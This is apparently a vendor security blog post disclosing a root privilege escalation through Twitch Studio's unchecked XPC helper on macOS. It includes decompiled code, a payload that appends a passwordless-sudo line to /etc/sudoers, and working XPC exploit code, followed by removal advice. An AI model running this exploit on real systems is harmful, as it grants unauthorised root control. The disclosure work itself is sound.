How Twitch Helper Can Be Used for Privilege Escalation
Privileged helpers are bits of software that assist applications by running elevated privileged actions separate from the app itself. XPC is Apple’s interprocess communication mechanism that makes this possible.
To date, however, Apple has not provided developers with the documentation that would tell them how to implement XPC securely. Over the years, there have been many examples of XPC being abused due to a lack of validation or authorization for communications between it and helper binaries. In this post, we will look at one such example: the helper for the Twitch Studio app.
The privileged helper tool com.twitch.LauncherHelper, installed by Twitch Studio, has no checks built into its usage of XPC. This means an attacker could use methods defined in that helper app to move a file as root, which in turn could lead to privilege escalation.
Twitch Studio is no longer distributed or maintained by Twitch. However, any users who have installed this application in the past may still have that helper binary installed, even if the Twitch Studio app was uninstalled.
We reported this vulnerability to Twitch on March 13, 2024. That report was closed with the note: "After reviewing this report, we have determined that the current behavior is working as intended."
Privileged Helpers: The Vulnerability
Analyzing the helper binary, we can first see how the XPC connection is set up. We will focus on the listener:shouldAcceptNewConnection:
method, as that is where the XPC service can decide whether to accept a connection.
/* @class ServiceDelegate */
-(int)listener:(int)arg2 shouldAcceptNewConnection:(int)arg3 {
r19 = [arg3 retain];
r20 = [[NSXPCInterface interfaceWithProtocol:@protocol(TwitchLauncherHelperProtocol)] retain];
[r19 setExportedInterface:r20];
[r20 release];
r20 = [TwitchLauncherHelper new];
[r19 setExportedObject:r20];
[r19 setInvalidationHandler:0x100018118];
asm { ldaddal w9, w8, [x8] };
[r19 resume];
[r20 release];
[r19 release];
return 0x1;
}
The call to [NSXPXInterface interfaceWithProtocol:]
passes the TwitchLauncherHelperProtocol
protocol as an argument. The XPC interface exposes this protocol. There are no checks to verify whether a connection to the interface is allowed, which can lead to exploitation.
If you examine that protocol, you can determine which methods are accessible. A close look at this section reveals two methods that could be targeted:installFromPath:toPath:withReply:
and checkBundleWriteable:withReply:.
@protocol TwitchLauncherHelperProtocol<TWVersionedService>
- (void)installFromPath:(id)v1 toPath:(id)v2 withReply:(void (^ /* unknown block signature */)(void))v3;
- (void)checkBundleWritable:(id)v1 withReply:(void (^ /* unknown block signature */)(void))v2;
@end.
Helper binaries executing from /Library/PrivilegedHelperTools run as root, so the installFromPath:toPath:withReply:
method may be a good target. We analyzed it to see how it works and to determine whether it could be used to elevate privileges.
100004980 void -[TwitchLauncherHelper installFromPath:toPath:withReply:](TwitchLauncherHelper self, SEL sel, id src, id dest, id withReply, void* arg)
1000049a8 int64_t installPath = _objc_retain(src)
1000049b4 int64_t destinationPath = _objc_retain(dest)
1000049c0 void* x0_3 = _objc_retain(withReply)
1000049cc void* cr_FileHelper_1 = cr_FileHelper
1000049d0 int64_t error = 0
1000049f8 int32_t result = _objc_msgSend(cr_FileHelper_1, "moveItemAtPath:toPath:replace:error:", installPath, destinationPath, 1, &error).d
……
100004a04 int64_t x24_1 = _objc_retain(error)
100004a08 int64_t x1
100004a08 if ((result & 1) != 0)
100004a0c x1 = 0
The method -[TwitchLauncherHelper installFromPath:toPath:withReply:]
accepts a source path and a destination path. Both are passed to another method, -[FileHelper moveItemAtPath:toPath:replace:error:]
. It is also worth noting that the value of 1
is passed for the replace parameter, which changes how the move happens.
10001278c bool -[FileHelper moveItemAtPath:toPath:replace:error:](FileHelper self, SEL sel, id moveItemAtPath, id toPath, bool replace,
10001278c id* error)
1000127b4 int64_t srcFile = _objc_retain(moveItemAtPath)
1000127c0 int64_t destinationPath = _objc_retain(toPath)
1000127f0 char x0_4 = _objc_msgSend(_objc_msgSend(self, "class"), "moveItemAtPath:toPath:replace:error:", srcFile, destinationPath, replace, error)
1000127fc _objc_release(destinationPath)
100012804 _objc_release(srcFile)
10001281c return x0_4
The moveItemAtPath
instance method passes the values of the destination and source paths to the class method +[FileHelper moveItemAtPath:toPath:replace:error:]
. This class method differs from the instance method, as we’ll explain in a bit.
The instance method above sets up the call to the +[FileHelper moveItemAtPath:toPath:replace:error:]
class method, which is invoked to complete the file move.
1000124bc bool +[FileHelper moveItemAtPath:toPath:replace:error:](
1000124bc FileHelper self, SEL sel, id moveItemAtPath, id toPath,
1000124bc bool replace, id* error)
1000124f4 int64_t srcFile = _objc_retain(moveItemAtPath)
1000124fc int64_t destinationPath = _objc_retain(toPath)
100012514 _objc_msgSend(_OBJC_CLASS_$_NSFileManager, "defaultManager")
10001251c int64_t defaultManager = _objc_retainAutoreleasedReturnValue()
100012538 _objc_msgSend(_OBJC_CLASS_$_NSURL, "fileURLWithPath:", srcFile)
100012540 int64_t filePathURL = _objc_retainAutoreleasedReturnValue()
10001256c int32_t x0_5 = _objc_msgSend()
100012578 int64_t x0_7 = _objc_retain(0)
100012580 if (x0_5 != 0)
100012590 _objc_msgSend(srcFile, "stringByDeletingLastPathComponent")
100012598 int64_t x0_9 = _objc_retainAutoreleasedReturnValue()
1000125ac _objc_msgSend()
1000125b4 int64_t srcFile_1 = _objc_retainAutoreleasedReturnValue()
1000125c0 _objc_release(srcFile)
1000125c8 _objc_release(x0_9)
1000125cc srcFile = srcFile_1
1000125d0 BOOL srcFileExists
1000125d0 BOOL destFileExists
1000125d0 BOOL fileMoveSuccess
1000125d0 if (replace.d != 0)
1000125e8 srcFileExists = _objc_msgSend(defaultManager, "fileExistsAtPath:", srcFile)
1000125ec if (srcFileExists.d != 0)
1000125fc destFileExists = _objc_msgSend(defaultManager, "fileExistsAtPath:", destinationPath)
100012600 if (destFileExists.d != 0)
10001261c fileMoveSuccess = _objc_msgSend(self, "replaceItemAtPath:withItemAtPath:error:", destinationPath, srcFile, error)
100012600 if (replace.d == 0 || (replace.d != 0 && srcFileExists.d == 0) || (replace.d != 0 && srcFileExists.d != 0 && destFileExists.d == 0))
10001263c fileMoveSuccess = _objc_msgSend(defaultManager, "moveItemAtPath:toPath:error:", srcFile, destinationPath, error)
…………
100012648 _objc_release(x0_7)
100012650 _objc_release(filePathURL)
100012658 _objc_release(defaultManager)
100012660 _objc_release(destinationPath)
100012668 _objc_release(srcFile)
10001268c return fileMoveSuccess
There are some if
statements in the code above that are important if you want to understand to how the exploit works. Let’s dive into them.
1000125d0 if (replace.d != 0)
1000125e8 srcFileExists = _objc_msgSend(defaultManager, "fileExistsAtPath:", srcFile)
1000125ec if (srcFileExists.d != 0)
1000125fc destFileExists = _objc_msgSend(defaultManager, "fileExistsAtPath:", destinationPath)
100012600 if (destFileExists.d != 0)
10001261c fileMoveSuccess = _objc_msgSend(self, "replaceItemAtPath:withItemAtPath:error:", destinationPath, srcFile, error)
Since the Bool value of 0x1
was passed to the replace
parameter, the first line above would be true, which leads to two method calls to fileExistsAtPath
. These two calls check to see whether the source file and destination path that were passed both exist. If they do, then the replaceItemAtPath:withItemAtPath:error:
is called, using self
as the receiver object. Looking more closely at that instance method, we find:
1000126e8 bool -[FileHelper replaceItemAtPath:withItemAtPath:error:](FileHelper self, SEL sel, id replaceItemAtPath,
1000126e8 id withItemAtPath, id* error)
100012708 int64_t destinationPath = _objc_retain(replaceItemAtPath)
100012714 int64_t sourcePath = _objc_retain(withItemAtPath)
100012740 char x0_4 = _objc_msgSend(_objc_msgSend(self, "class"), "replaceItemAtPath:withItemAtPath:error:", destinationPath, sourcePath, error)
10001274c _objc_release(sourcePath)
100012754 _objc_release(destinationPath)
100012768 return x0_4
This instance method calls the class method +[FileHelper replaceItemAtPath:withItemAtPath:error:]
. This would result in the source file replacing the destination file (which is the Twitch Helper binary), with the same name.
Using the original installFromPath:toPath:withReply:
method covered above, we pass in a source file and a destination file of our choice and execute to overwrite a file as root.
How Privileged Helpers Can Be Exploited
Using the installFromPath:toPath:withReply:
method as our target, we can move a file to another location as root. If we were to replace the file at /Library/PrivilegedHelperTools/com.twitch.LauncherHelper with our own binary, launchd would attempt to start our binary, due to the plist file that is installed in /Library/LaunchDaemons.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.twitch.LauncherHelper</string>
<key>MachServices</key>
<dict>
<key>com.twitch.LauncherHelper</key>
<true/>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.twitch.LauncherHelper</string>
</array>
</dict>
</plist>
To elevate our privileges, our controlled binary could be written to execute one system()
function, which adds a line to the sudoers
file and enables any account to use sudo
without entering a password.
int main() {
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Once we have our file compiled, we can create our exploit code to leverage the exposed method and move our binary to the location of /Library/PrivilegedHelperTools/com.Twitch.LauncherHelper.
- (void)exploit {
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(TwitchLauncherHelperProtocol)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.twitch.LauncherHelper" options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface
xpcConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(TWVersionedService)];
xpcConnection.exportedObject = self;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy installFromPath:@"/tmp/elevate" toPath:@"/Library/PrivilegedHelperTools/com.twitch.LauncherHelper" withReply:^(NSError* ret) {NSLog(@"Got Response, %@", ret);
}];
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
[TwitchXPC new];
[TwitchXPC new];
}
That code executes the XPC exploit twice: The first call overwrites the helper binary, and the second causes launchd to attempt to start the helper binary, which executes our controlled binary with root privileges and adds the line to the sudoers file.
Conclusion
Unless XPC connections are set up securely, helper binaries can be easily exploited. Even for an application like Twitch Studio—which Twitch has not maintained since September 28, 2023—these helper binaries can remain on the system and be used maliciously if not removed by the user.
In this particular case, we recommend deleting both the LaunchDaemon plist and helper binary at these locations:
- /Library/LaunchDaemons/com.twitch.LauncherHelper.plist
- /Library/PrivilegedHelperTools/com.twitch.LauncherHelper
Thanks to Wojciech Regula for their examples, which helped set up the exploit code above.
About Kandji
Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.